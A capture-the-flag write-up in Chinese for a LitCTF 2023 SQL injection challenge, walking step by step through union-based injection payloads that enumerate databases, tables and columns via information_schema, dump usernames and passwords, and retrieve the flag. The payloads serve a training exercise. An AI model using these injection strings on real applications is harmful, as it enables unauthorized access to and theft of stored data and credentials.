[LitCTF 2023]这是什么?SQL !注一下 ! wp
题目描述:为了安全起见多带了几个套罢了o(▽)q
页面内容(往下滑):
SQL 语句已给出,无非是更换了闭合方式。
先输个 1 试试:
在下面的回显中将 SQL 语句与执行结果都回显了出来。
测试闭合方式与注释符
假如闭合方式与注释符都正确,那么输入以下内容,应当与输入 1 得到一样的结果:
1))))))--+
经过测试:闭合方式为 ))))))
,注释符为 --+
时可以正确执行。
group by 查询回显位数
1)))))) group by 2--+
经过测试,回显位为两位。
输入:
1)))))) union select 1,2--+
返回结果:
经过测试,两位都能正常回显。
查询当前数据库名
1)))))) union select 1,database()--+
返回结果:
当前数据库名为 ctf 。
查询当前数据库中的所有表
1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
返回结果:
只有一个 users 表。
查询表中的所有列
1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"--+
返回结果:
有三列,分别是:id,username,password
查询列中的所有内容
-1)))))) union select username,password from users--+
返回结果:
fake_flag 意为 假的 flag 。可见,这里面并没有 flag 。那么应该在其它数据库中。
select 查询所有数据库
使用 show 查询的时候不知道为什么出不来,只好用 select 查询了。
-1)))))) union select 1,schema_name from information_schema.schemata--+
返回结果:
除了 ctf 之外还有一个名为 ctftraining 的数据库。进去看看。
查询 ctftraining 数据库的所有表名、列名
查询 ctftraining 数据库的所有表名:
-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining"--+
返回结果:
有一个名为 flag 的表。
查询 flag 表的所有列名:
-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name="flag"--+
返回结果:
在 flag 表中有一个名为 flag 的列名。
查询 flag 列的所有内容:
-1)))))) union select 1,flag from ctftraining.flag--+
返回结果:
拿到 flag 。